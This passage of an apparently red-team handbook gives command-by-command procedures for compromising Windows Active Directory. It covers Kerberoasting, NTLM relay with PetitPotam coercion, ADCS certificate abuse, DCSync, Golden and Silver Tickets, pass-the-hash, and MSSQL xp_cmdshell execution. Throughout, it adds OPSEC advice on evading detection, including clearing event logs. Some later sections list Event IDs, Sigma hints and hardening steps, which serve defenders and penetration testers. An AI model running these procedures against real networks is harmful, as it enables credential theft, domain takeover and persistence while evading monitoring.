Import-Module .\PowerView.ps1
# Kerberoastable accounts (have SPNs)
Get-DomainUser -SPN | Select samaccountname, serviceprincipalname, pwdlastset | Sort pwdlastset
# AS-REP roastable (no pre-auth required)
Get-DomainUser -PreauthNotRequired | Select samaccountname, distinguishedname
# Accounts with passwords that never expire
Get-DomainUser -LDAPFilter "(&(userAccountControl:1.2.840.113556.1.4.803:=65536))" | Select samaccountname
# Domain Admins and Enterprise Admins
Get-DomainGroupMember "Domain Admins" -Recurse | Select MemberName, MemberSID
Get-DomainGroupMember "Enterprise Admins" -Recurse | Select MemberName
# Built-in fallbacks (no PowerView)
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net accounts /domain # password policy
Phase 5 — Computer & Delegation Enumeration
# Computers with unconstrained delegation (coerce → TGT capture)
Get-DomainComputer -Unconstrained | Select name, dnshostname, operatingsystem
# Computers with constrained delegation (S4U2Proxy abuse)
Get-DomainComputer -TrustedToAuth | Select name, msds-allowedtodelegateto
# Domain Controllers
Get-DomainController | Select name, ipaddress, operatingsystem
# Spot older, unpatched machines
Get-DomainComputer | Select name, operatingsystem, operatingsystemversion | Sort operatingsystem
Phase 6 — ACL Enumeration (Manual BloodHound Alternative)
# Find interesting ACLs — the manual equivalent of BloodHound ACL edges
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "Domain Users|Authenticated Users|Everyone|attacker_user"
} | Select ObjectDN, ObjectAceType, IdentityReferenceName, ActiveDirectoryRights
# Check DCSync rights on the Domain object
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object {
$_.IdentityReference -match $env:USERNAME
}
# GPOs with weak ACLs
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericAll|GenericWrite"
}
OPSEC:
Find-InterestingDomainAclgenerates many LDAP queries. Spread queries over time in monitored environments. A burst of LDAP requests from a new workstation in a short window is a detection signal. Filter by target OUs where possible to reduce query volume.
Phase 7 — Trust Enumeration
Get-DomainTrust | Select source, target, trusttype, trustattributes
Get-ADTrust -Filter * | Select Name, TrustType, TrustDirection, TrustAttributes
nltest /domain_trusts
Get-DomainForestTrust
Phase 8 — BloodHound (Supplemental — OPSEC Warning)
OPSEC: BloodHound's SharpHound collector is designed for speed, not stealth. The default
-c Allcollection queries every domain computer for local admin sessions and network connections — this generates thousands of authentication events and SMB connections in a short window. Modern EDRs and SIEMs alert on this burst pattern reliably. Use manual enumeration (Phases 1–5) as your primary approach.When to use it: In red team environments where you need complete path coverage and monitoring is limited. Use
DCOnlyat a minimum — it restricts to LDAP queries against DCs only.
# Least noisy SharpHound option (LDAP to DC only):
.\SharpHound.exe -c DCOnly --Domain domain.local
# Never use -c All in a monitored environment
# Never use --Loop (sustained session hunting is extremely detectable)
# From Linux (if you have creds but no Windows foothold):
bloodhound-python -u 'user' -p 'pass' -d 'domain.local' -dc 'dc01.domain.local' -c DCOnly
Action Item 6 — Kerberos Attacks [Intermediate]
Kerberos-based attacks target the service ticket request process to obtain crackable hashes. Unlike credential dumping, these require no elevated access — any domain user can request service tickets.
What you're building: Offline-crackable hashes for service accounts (Kerberoasting) and accounts without pre-authentication (AS-REP Roasting). The hash is extracted from the ticket response and cracked at GPU speed on your attacker machine.
| Attack | Pre-Requisite | What You Get | Hashcat Mode |
|---|---|---|---|
| Kerberoasting | Any domain user | TGS-REP hash for accounts with SPNs | 13100 (RC4), 19700 (AES256) |
| AS-REP Roasting | Target has pre-auth disabled | AS-REP hash crackable offline | 18200 |
Tactic: Credential Access
Technique: Kerberos Ticket Abuse & Offline Cracking (T1558.003, T1558.004)
Procedure:
# Kerberoasting (Rubeus)
.\Rubeus.exe kerberoast /outfile:hashes.txt # all SPNs
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql_hash.txt # targeted (quieter)
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes_hc.txt
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt # downgrade to RC4
# AS-REP Roasting (Rubeus)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# From Linux (Impacket)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request-user svc_sql
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip 10.10.10.10
# Cracking
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 aes_hashes.txt wordlist.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
Quick Reference: Kerberos Encryption Types
| Type | ID | Hashcat Mode | Crack Speed |
|---|---|---|---|
| RC4-HMAC | 23 | 13100 | Fast (prefer this) |
| AES128-CTS-HMAC-SHA1-96 | 17 | 19600 | Slow |
| AES256-CTS-HMAC-SHA1-96 | 18 | 19700 | Slowest |
OPSEC: Requesting service tickets for all SPNs at once generates a burst of TGS-REQ events (Event ID 4769) on the DC. Honey-SPNs are a common detection mechanism. Check the target's
pwdlastsetvalue first — accounts with passwords unchanged for years have weak passwords AND are less likely to be honeypots.
Action Item 7 — NTLM Relay & Lateral Movement [Advanced]
NTLM relaying exploits the lack of SMB/LDAP signing to intercept and forward authentication. Coercion forces authentication without waiting for organic traffic.
What you're building: A path from a network listener to a privileged action — relaying a machine's authentication to a target that trusts it, or forcing a DC to authenticate to you immediately for a relay chain.
| Technique | Target | What You Get |
|---|---|---|
| SMB Relay → SMB | Non-signing target | Command execution as victim |
| SMB Relay → LDAP | DC | Add computer account, set RBCD, grant DCSync |
| SMB Relay → ADCS HTTP | Certificate Authority | DC certificate → DCSync |
| Coercion (PetitPotam) | DC | Force DC auth → relay immediately |
Tactic: Credential Access / Lateral Movement
Technique: NTLM Relay and Coercion (T1557.001)
Procedure:
# Step 1: Find targets without SMB signing
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# Step 2: Configure Responder (disable SMB/HTTP — ntlmrelayx handles those)
# Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off
sudo responder -I eth0 -rdw
# Step 3a: Relay to SMB for command execution
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami /all"
# Step 3b: Relay to LDAP for RBCD
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access --escalate-user 'attacker_user'
# Step 3c: Relay to ADCS HTTP (fastest path to DA)
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController
# Coercion — force DC to authenticate to you immediately
python3 PetitPotam.py -u '' -p '' attacker_ip dc01.domain.local
python3 Coercer.py coerce -u domain_user -p password -d domain.local \
--listener-ip attacker_ip --target dc01.domain.local
# Full chain: Coerce → ADCS → DC cert → NT hash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py attacker_ip dc01.domain.local
python3 gettgtpkinit.py domain.local/dc01$ -pfx-base64 $(cat cert.b64) dc01.ccache
export KRB5CCNAME=dc01.ccache
python3 getnthash.py domain.local/dc01$ -key <AS-REP-key>
Lateral Movement after credential/ticket acquisition:
# Pass-the-Hash from Linux (Impacket)
wmiexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH # WMI — quietest
smbexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH
psexec.py domain.local/user@10.10.10.10 -hashes :NTLM_HASH # noisy
# Pass-the-Hash from Windows (Mimikatz)
privilege::debug
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH_HERE /run:cmd.exe
# Pass-the-Ticket (Rubeus)
.\Rubeus.exe ptt /ticket:base64_ticket_here
.\Rubeus.exe asktgt /user:user /domain:domain.local /rc4:HASH_HERE /ptt
OPSEC: Responder poisoning is highly detectable in monitored environments — use
-A(Analyze mode) first to see what traffic exists before active poisoning. Coercion is more surgical: one authentication event targeted at your listener, compared to Responder's continuous broadcast.wmiexecis the quietest lateral movement tool — uses WMI vs. named pipes (psexec) or service creation (smbexec).
Action Item 8 — ACL Abuse, ADCS & Domain Dominance [Advanced]
Exploiting misconfigured AD object permissions, certificate template vulnerabilities, and domain replication rights to achieve full domain compromise and long-term persistence.
What you're building: Domain Admin or equivalent access, and a persistence mechanism that survives password resets. Golden Tickets and forged certificates survive indefinitely — they're your "break glass" fallback after full compromise.
Tactic: Privilege Escalation / Persistence / Credential Access
Technique: ACL Exploitation, ADCS Abuse, Domain Persistence (T1484.001, T1649, T1003.006, T1558.001)
Procedure — ACL Abuse:
# GenericAll on user: Change their password
Set-DomainUserPassword -Identity 'target_user' -AccountPassword (ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force)
# WriteDACL on Domain object: Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity "attacker_user" -Rights DCSync
# WriteProperty on Group: Add member
Add-DomainGroupMember -Identity "Domain Admins" -PrincipalIdentity "attacker_user"
# Constrained Delegation S4U2Proxy: Impersonate any user on delegated service
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.domain.local /user:svc_account /rc4:HASH_HERE /ptt
# Shadow Credentials (no password change event — stealthier than GenericAll)
# Requires: GenericWrite or WriteProperty (ms-DS-Key-Credential-Link) on target
.\Whisker.exe add /target:victim_user /domain:domain.local /dc:dc01.domain.local
# → outputs a Rubeus command to get a TGT as victim_user via PKINIT
# From Linux (pyWhisker):
python3 pywhisker.py -d domain.local -u attacker -p password --target victim_user --action add
# Clean up after:
.\Whisker.exe remove /target:victim_user /domain:domain.local /dc:dc01.domain.local /id:<guid>
Procedure — ADCS Certificate Abuse:
# Enumerate vulnerable templates
certipy find -u 'user@domain.local' -p 'password' -dc-ip 10.10.10.10 -vulnerable -stdout
# ESC1: SAN Override — any domain user → Domain Admin cert
certipy req -u 'lowpriv@domain.local' -p 'password' -ca 'domain-CA' \
-template 'VulnerableTemplate' -upn 'administrator@domain.local' -dc-ip 10.10.10.10
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.10
# ESC8: NTLM Relay to ADCS Web Enrollment
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py attacker_ip dc01.domain.local
python3 gettgtpkinit.py domain.local/dc01$ -pfx-base64 $(cat cert.b64) dc01.ccache
# ESC13: OID Group Link
certipy req -u 'lowpriv@domain.local' -p 'password' -ca 'domain-CA' \
-template 'ESC13Template' -dc-ip 10.10.10.10
certipy auth -pfx lowpriv.pfx -domain domain.local -dc-ip 10.10.10.10
# CA Persistence: Forge any certificate (requires DA + CA private key)
certipy forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator'
certipy auth -pfx administrator_forged.pfx -domain domain.local -dc-ip 10.10.10.10
ESC Vulnerability Quick Reference:
| ESC ID | Condition | Impact |
|---|---|---|
| ESC1 | Template allows SAN override + dangerous EKUs | Any user → Domain Admin cert |
| ESC2 | Any Purpose EKU or no EKU | Cert usable for any purpose |
| ESC3 | Enrollment Agent template | Enroll certs on behalf of any user |
| ESC4 | Weak template ACLs (GenericWrite) | Modify template → ESC1 |
| ESC6 | CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 | CA-level SAN override |
| ESC8 | ADCS Web Enrollment without EPA | NTLM relay → DC certificate |
| ESC13 | OID group link on template | Certificate grants group membership in PAC |
Procedure — Domain Dominance (DCSync & Tickets):
# DCSync: Replicate hashes without touching NTDS.dit
# Requires: Replicating Directory Changes + Replicating Directory Changes All
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
# From Linux (Impacket):
secretsdump.py domain.local/user:password@dc01.domain.local -just-dc-user krbtgt
secretsdump.py domain.local/user:password@dc01.domain.local -just-dc-ntlm
# Golden Ticket (TGT valid for 10 years — survives password changes until krbtgt reset twice)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH_HERE /id:500 /ptt
# Silver Ticket (TGS for specific service — no DC contact needed)
kerberos::silver /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:dc01.domain.local /service:cifs /rc4:MACHINE_HASH_HERE /ptt
OPSEC: DCSync is a high-fidelity alert in most SOCs (Event ID 4662). ACL modifications write to the AD database — always have a cleanup plan. Shadow Credentials are stealthier than password resets (no Event 4723) but write to
ms-DS-Key-Credential-Link. Certificate abuse is often the least monitored path — CA logs are rarely reviewed in real time.
✦ Full Windows/AD Attack Chain [Operator]
Executing a complete engagement from initial Windows foothold through full AD compromise, maintaining OPSEC throughout.
What you're building: A documented end-to-end kill chain from initial foothold to domain dominance, with cleanup steps for each phase. This is the mental model that ties all eight action items together.
Tactic: Full Kill Chain (Initial Access → Privilege Escalation → Credential Access → Lateral Movement → Persistence)
Technique: Chained exploitation of Windows and Active Directory misconfigurations in a single cohesive engagement scenario
Procedure:
- Local Foothold: Gain initial shell. Run AI1 Phases 1–4 manually. Identify
SeImpersonatePrivilegeor unquoted service paths. - Local Escalation: Escalate to SYSTEM via AI2 (potato attack or service binary). Dump credentials via AI3 (SAM + SYSTEM offline, or comsvcs.dll LSASS dump).
- Domain Entry: Use harvested NT hash or cleartext to authenticate to the domain. Validate with
net user %USERNAME% /domain. Begin AI5 manual enumeration — targeted PowerView queries, no SharpHound burst. - Attack Path Selection: Check in priority order: (a) AS-REP roast for quick hashes → (b) Kerberoasting service accounts → (c) ADCS with
certipy find -vulnerable→ (d) ACL paths viaFind-InterestingDomainAcl. Take the path of least resistance. - Domain Escalation: Execute chosen path. ESC1/ESC8 certificates and DCSync are typically the cleanest paths to DA. Avoid
Add-DomainGroupMemberon Domain Admins directly — audited. Prefer shadow credentials or certificate-based escalation. - Persistence: Deploy Golden Ticket (offline, survives password changes until krbtgt reset twice) or forge a CA certificate. WMI subscription from AI4 for interactive access.
- Cleanup: Revert ACL changes, delete temporary computer accounts (RBCD), revoke obtained certificates, remove scheduled tasks and WMI subscriptions, clear relevant event logs (if in scope). Document every action for the report.
Common Windows/AD Service Ports:
| Port | Service | Protocol |
|---|---|---|
| 53 | DNS | TCP/UDP |
| 88 | Kerberos | TCP/UDP |
| 135 | RPC Endpoint Mapper | TCP |
| 139/445 | SMB / NetBIOS | TCP |
| 389 | LDAP | TCP/UDP |
| 443 | HTTPS / ADCS Web Enrollment | TCP |
| 636 | LDAPS | TCP |
| 3268 | Global Catalog | TCP |
| 3389 | RDP | TCP |
| 5985/5986 | WinRM HTTP/HTTPS | TCP |
OPSEC: The operator mindset is about choosing the path of least resistance. If a simple Kerberoast crack gets you DA, don't bother with coercion chains. If ESC1 is in scope, use it — quieter than DCSync and generates no replication events. Always assume you are being watched. Document every action for deconfliction and reporting.
AI9 — Common Windows Services
What you're building: A service-by-service attacker reference for the 12 most common Windows services — how to fingerprint them, enumerate misconfigurations, exploit them, and detect/harden them from the defender side.
BLUF: Every Windows network runs the same dozen services. Know them cold — their ports, default misconfigurations, attack surface, and the Event IDs that expose you when you touch them. Attacker-primary, defender-aware.
| Service | Port(s) | Key Attack Path | Key Detection |
|---|---|---|---|
| SMB | 445, 139 | Null sessions, relay, named pipes | EID 4624 (T3), 5140, 5145 |
| RDP | 3389 | Spray, NLA-off exploit, session hijack | EID 1149, 4624 T10, 4778 |
| WinRM/WMI | 5985/5986, 135 | PS remoting, lateral movement | EID 4688 (wsmprovhost), 4648 |
| MSSQL | 1433 | xp_cmdshell, linked server, impersonation | EID 33205, 4688 |
| IIS | 80/443 | App pool identity, WebDAV, upload | EID 4688 (w3wp.exe), IIS logs |
| DNS | 53 | Zone transfer, ADIDNS poisoning | EID 770/771, DNS debug log |
| LDAP/LDAPS | 389/636/3268 | Anonymous bind, unsigned LDAP relay | EID 2889, 4624 anon |
| Kerberos | 88 | AS-REP roast, Kerberoast, delegation | EID 4768/4769 RC4 requests |
| MSRPC/RPC | 135/49xxx | DCOM abuse, MS-RPRN coercion | EID 4688, DCOM 10016 |
| SNMP | 161/162 | Default community string, MIB dump | Network IDS (no native EID) |
| FTP/TFTP | 21/69 | Anonymous login, credential sniffing | EID 4624/4625, FTP service log |
| Print Spooler | 445 | PrintNightmare, SpoolFool, coercion | EID 316, 808, 7031 |
Phase 1 — SMB (TCP 445, 139)
SMB (Server Message Block) is the backbone of Windows file sharing, named pipe communication, and lateral movement. It is the most-attacked Windows protocol — null sessions, relay attacks, named pipe abuse, and remote code execution all flow through port 445.
# Identify SMB hosts, signing config, OS version, and domain membership
crackmapexec smb 10.10.10.0/24
# NSE scripts — enumerate shares, signing, OS, check for MS17-010
nmap -p 445 --script smb-security-mode,smb-os-discovery,smb-vuln-ms17-010 10.10.10.10
# Null session — attempt unauthenticated share listing (Windows legacy)
smbclient -L \\\\10.10.10.10 -N
# Map shares and permissions with null or authenticated session
smbmap -H 10.10.10.10 -u '' -p ''
# Full unauthenticated enumeration via SMB/RPC (users, groups, shares, policies)
enum4linux-ng -A 10.10.10.10
# RPC null session — enumerate domain users via named pipe
rpcclient -U '' -N 10.10.10.10 -c "enumdomusers"
Why: SMB exposes enormous attack surface even when patched — null sessions, SYSVOL credential scraping, and coercion attacks (see AI7 for full NTLM relay chain) are all possible via port 445 on a default Windows installation.
Common Misconfigurations:
- SMB signing disabled → NTLM relay attacks (see AI7 for full relay chain)
- Null sessions allowed → unauthenticated enumeration of users, groups, shares
- SYSVOL GPO scripts with credentials → plaintext cred exposure
- SMBv1 enabled → EternalBlue (MS17-010) exploitation
- Named pipes accessible anonymously → info disclosure via
IPC$
Defender Block:
- Event IDs: 4624 Logon Type 3 (successful net logon), 4625 Logon Type 3 (failed net logon), 5140 (network share accessed), 5145 (network share object access check), 7045 (new service installed — possible PsExec/lateral movement)
- Sigma hint: EID 5145 with ObjectType matching
\*\IPC$AND SubjectUserNameANONYMOUS LOGON→ null session activity - Hardening:
Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSMB1Protocol $false, set registryHKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\RestrictNullSessAccess = 1, block TCP 445/139 inbound at perimeter firewall
OPSEC:
enum4linux-ngandcrackmapexecsubnet sweeps generate a burst of EID 4624/5140 events — detectable by volume alone. In monitored environments, use targetedsmbclient -Lorrpcclientsingle-host queries. SMB signing check viacrackmapexec smb --gen-relay-listis low-noise — just checking the handshake flag.
Phase 2 — RDP (TCP 3389)
RDP (Remote Desktop Protocol) is the primary remote GUI administration channel for Windows. It is heavily targeted for credential spray, session hijacking, and exploitation of NLA-disabled hosts. A single exposed RDP port on the internet is one of the most common ransomware initial access vectors.
# Fingerprint RDP — version, NLA status, certificate info
nmap -p 3389 --script rdp-enum-encryption,rdp-vuln-ms12-020 10.10.10.10
# Identify RDP-enabled hosts and check NLA enforcement
crackmapexec rdp 10.10.10.0/24
# Password spray RDP — use low-and-slow rate to avoid lockout
# hydra -L users.txt -P passwords.txt rdp://10.10.10.10 -t 1 -W 3
# Session hijacking (requires SYSTEM on target) — list and steal active sessions
query session /server:10.10.10.10 # list sessions
tscon <session_id> /dest:<your_session> # steal without creds if SYSTEM
# Accessibility backdoor — replace sethc.exe or utilman.exe with cmd.exe (pre-auth SYSTEM shell)
# Requires write access to C:\Windows\System32\ or image mounting
Why: RDP is both a rich attack surface and a critical detection signal — every logon Type 10 is logged. Session hijacking via
tsconrequires no password once you have SYSTEM. NLA-disabled hosts are directly vulnerable to pre-auth exploits and BlueKeep.
Common Misconfigurations:
- NLA disabled → pre-authentication vulnerability exposure (BlueKeep CVE-2019-0708, DejaBlue)
- RDP internet-exposed with weak passwords → spray and brute force primary ransomware initial access
- Accessibility backdoor (
sethc.exe/utilman.exeswap) → pre-auth SYSTEM shell via Sticky Keys - Session hijack via
tscon→ steal active admin sessions without credentials (SYSTEM required) - No RDP Gateway / firewall restriction → direct internet attack surface
Defender Block:
- Event IDs: 4624 Logon Type 10 (RemoteInteractive — successful RDP logon), 4625 Logon Type 10 (failed RDP attempt), 4778 (session reconnected), 4779 (session disconnected), 1149 (TerminalServices pre-auth connection in
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational) - Sigma hint: EID 1149 from non-RFC1918 source IP + burst of 4625 Type 10 within 60 seconds = RDP spray in progress
- Hardening: Enable NLA (
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1), restrict via firewall to VPN/jump host only, deploy RDP Gateway for external access, apply KB4499175 (BlueKeep patch), enforce tiered admin model — no DA accounts logging into workstations
OPSEC: Every successful RDP logon generates EID 4624 Type 10 — highly visible and always logged. Session hijacking via
tsconrequires SYSTEM-level access first and generates no new logon event (you're stealing an existing session). BlueKeep exploit can BSOD the target on failure — never attempt against live production systems.
Phase 3 — WinRM / WMI (TCP 5985, 5986, 135)
WinRM (Windows Remote Management) provides PowerShell remoting over HTTP/HTTPS. WMI (Windows Management Instrumentation) on port 135 enables remote process execution and management queries. Both are legitimate admin channels abused heavily for lateral movement.
# Identify WinRM-enabled hosts across subnet
crackmapexec winrm 10.10.10.0/24
# Interactive shell via WinRM (requires valid credentials)
evil-winrm -i 10.10.10.10 -u user -p 'Password1'
# PS remoting — run command on remote host
Invoke-Command -ComputerName target.domain.local -ScriptBlock { whoami; hostname }
# WMI lateral movement — remote process creation (no interactive shell)
Invoke-WmiMethod -Class Win32_Process -Name Create \
-ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" \
-ComputerName 10.10.10.10
# Linux-side WMI execution via Impacket
impacket-wmiexec domain/user:Password1@10.10.10.10 'whoami'
# Pass-the-hash WMI execution
impacket-wmiexec -hashes :NTLMhash domain/user@10.10.10.10 'whoami'
Why: WinRM and WMI are built-in remote execution channels — no extra tools needed on the target.
evil-winrmgives a full interactive shell. WMI method invocation is quieter than named-pipe-based tools (PsExec, smbexec) but still generates 4688 events. See AI4 for WMI subscription persistence.
Common Misconfigurations:
- WinRM enabled on workstations → should be servers/admins only
- No HTTPS enforcement → port 5985 transmits commands in plaintext
- Domain Users in WinRM access group → over-permissive; should be restricted to admins
- WMI subscriptions for persistence → see AI4 for persistence via WMI event subscriptions
- No PowerShell Script Block Logging → execution is invisible beyond process name
Defender Block:
- Event IDs: 4688 with
wsmprovhost.exeas new process (PS remoting execution), 4648 (explicit credentials used for WinRM), 91 inMicrosoft-Windows-WinRM/Operational(WSMan connection established), 4103/4104 (PS Module/Script Block logging — if enabled) - Sigma hint: EID 4688 with NewProcessName =
wsmprovhost.exespawned from unexpected parent or outside business hours = PS remoting lateral movement - Hardening: Enable PowerShell Script Block Logging + Transcription (GPO), enforce HTTPS-only WinRM (
winrm set winrm/config/listener?Address=*+Transport=HTTPS), restrict WinRM access to admin jump hosts via firewall, disable WinRM on workstations (Disable-PSRemoting -Force)
OPSEC: PS remoting creates a
wsmprovhost.exeprocess on the target — logged at EID 4688 even without Script Block Logging.impacket-wmiexecspawns acmd.exechild under WMI.Invoke-WmiMethodis slightly quieter — no interactive wsmprovhost shell — but still logged. Use targeted single-host execution; subnet-wide WMI scanning is loud.
Phase 4 — MSSQL (TCP 1433)
Microsoft SQL Server is commonly deployed with excessive privileges — running as SYSTEM or a domain service account, with xp_cmdshell enabled or easily re-enabled. A compromised MSSQL instance frequently leads to OS-level code execution or lateral movement via linked servers.
# Fingerprint MSSQL — version, instance name, check xp_cmdshell, empty SA password
nmap -sV -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell 10.10.10.10
# Sweep for MSSQL hosts, test SA with blank password
crackmapexec mssql 10.10.10.0/24 -u sa -p '' --local-auth
# Interactive SQL session via Impacket (Windows auth)
impacket-mssqlclient domain/user:Password1@10.10.10.10 -windows-auth
# Once connected: get version, enable and use xp_cmdshell
SELECT @@version;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
# Linked server lateral movement — execute commands on a linked SQL server
EXEC ('xp_cmdshell ''whoami''') AT [linkedserver\instance]
# Token impersonation — escalate to SA if IMPERSONATE privilege exists
SELECT distinct b.name FROM sys.server_permissions a
JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
EXECUTE AS LOGIN = 'sa'; EXEC xp_cmdshell 'whoami';
Why: MSSQL's
xp_cmdshellis a direct OS command execution gateway. Even when disabled, any user withALTER SETTINGSpermission can re-enable it. Linked server chains allow lateral movement between SQL instances without needing separate credentials — a single compromised SQL account can traverse the whole SQL topology.
Common Misconfigurations:
xp_cmdshellenabled → direct OS command execution via SQL- SA account with blank/default password → instant admin access
- MSSQL running as SYSTEM or Domain Admin → full OS/domain takeover from SQL shell
- Linked servers with delegation → lateral movement across SQL instances
- Excessive PUBLIC role permissions → non-admin users can execute dangerous procedures
Defender Block:
- Event IDs: 33205 (SQL Server Audit — successful audit event), 33206 (SQL Server Audit — failed audit event), 4688 with ParentProcessName =
sqlservr.exe(child process spawned via xp_cmdshell — confirms OS command execution) - Sigma hint: EID 4688 with ParentProcessName =
sqlservr.exeAND NewProcessName =cmd.exeorpowershell.exe= xp_cmdshell execution in progress - Hardening:
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;— disable xp_cmdshell, run MSSQL as low-privilege service account (not SYSTEM), enable SQL Server Audit, clear SA blank password, review linked server permissions and delegation settings
OPSEC:
xp_cmdshellspawnscmd.exeas a direct child ofsqlservr.exe— this parent-child relationship is trivially detected by EDR and SIEM. In monitored environments, prefer CLR assemblies or OLE Automation Procedures as quieter execution alternatives. Always check if xp_cmdshell is already enabled before trying to re-enable it — sp_configure changes are audited.
Phase 5 — IIS / HTTP(S) (TCP 80, 443)
IIS (Internet Information Services) is Microsoft's web server. Common on internal networks hosting portals, APIs, and management interfaces. Misconfigurations — WebDAV, excessive app pool identity permissions, or loose upload endpoints — frequently lead to initial access or lateral movement.
# Fingerprint IIS version, enabled modules, and headers
nmap -sV -p 80,443,8080 --script http-methods,http-webdav-scan,http-iis-webdav-vuln 10.10.10.10
whatweb http://10.10.10.10 # identify IIS version, ASP.NET version, server headers
# Directory enumeration
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x asp,aspx,html
# WebDAV capability check — look for PUT/DELETE in Allow header
curl -s -X OPTIONS http://10.10.10.10/ -v 2>&1 | grep -i allow
# Test WebDAV file upload capability (creates and deletes test files)
davtest -url http://10.10.10.10
# Interactive WebDAV client — browse, upload, and download files
cadaver http://10.10.10.10
Why: WebDAV with write access allows direct file upload to the web root — a one-step path to web shell placement and RCE. Even without WebDAV, discovering the app pool identity's privilege level (SYSTEM, Network Service, or domain account) determines what OS access a web shell provides.
Common Misconfigurations:
- WebDAV enabled with write access → arbitrary file upload → web shell → RCE
- App pool running as SYSTEM or domain account → elevated OS access from web shell
- Default IIS welcome page not removed → confirms IIS version, aids fingerprinting
- Directory listing enabled → exposes file structure without authentication
- ASP.NET debug mode or verbose errors → stack traces, connection strings, internal paths leaked
- PUT method allowed on upload endpoints → direct file write without WebDAV
Defender Block:
- Event IDs: 4688 with ParentProcessName =
w3wp.exe(IIS worker process spawning child = web shell execution), IIS access logs atC:\inetpub\logs\LogFiles\W3SVC*(check for PUT/POST to unusual paths), 4663 (object access audit on web root directory — requires SACL) - Sigma hint: EID 4688 with ParentProcessName =
w3wp.exeAND NewProcessName matchingcmd.exe,powershell.exe, orcertutil.exe= active web shell exploitation - Hardening: Disable WebDAV if not required (
Remove-WindowsFeature Web-DAV-Publishing), run app pools as dedicated least-privilege service accounts, suppress server version headers (requestFiltering/removeServerHeader), enable Failed Request Tracing, deploy WAF for external-facing IIS
OPSEC: Web shell execution creates child processes of
w3wp.exe— the parent-child relationship is a high-fidelity EDR detection signal. LOLBin usage (certutil, bitsadmin, msiexec) is slightly less noisy than dropping and runningcmd.exedirectly. Any PUT request to the web root should be treated as a critical alert.
Phase 6 — DNS (TCP/UDP 53)
DNS is the backbone of Active Directory — every DC lookup, service discovery, and Kerberos ticket request depends on it. Zone transfer misconfigs expose the full network map. ADIDNS integration allows authenticated users to register arbitrary DNS records by default, enabling DNS poisoning for NTLM relay.
# Zone transfer attempt — dumps all DNS records if misconfigured
dig axfr domain.local @10.10.10.10
nmap -sU -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=domain.local 10.10.10.10
# Subdomain brute force via DNS
gobuster dns -d domain.local -r 10.10.10.10 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# ADIDNS record injection — register attacker IP to redirect traffic (if write access exists)
# Using dnstool.py (from krbrelayx toolset)
python3 dnstool.py -u 'domain\user' -p Password1 \
--action add --record attacker --data 10.10.10.99 --type A dc.domain.local
# Using PowerMad (from Windows host)
Invoke-DNSUpdate -DNSName attacker -DNSData 10.10.10.99
Why: Zone transfers expose the complete DNS zone — hostnames, IPs, internal network topology — in a single unauthenticated request if misconfigured. ADIDNS write access (default for Authenticated Users in many domains) lets an attacker register a DNS record pointing any name to their IP, then use Responder or ntlmrelayx to capture/relay credentials when clients resolve that name. See AI5 Phase 1 for full DNS SRV record enumeration workflow.
Common Misconfigurations:
- Zone transfers allowed from any IP → full DNS map exposed unauthenticated
- ADIDNS write access for Authenticated Users → DNS poisoning for NTLM capture/relay (see AI7)
- Wildcard DNS entries → mask hostname typos, interfere with tooling
- Recursive DNS resolvers accessible externally → DNS amplification reflection
Defender Block:
- Event IDs: 770 (DNS zone transfer request received), 771 (DNS zone transfer request denied — in
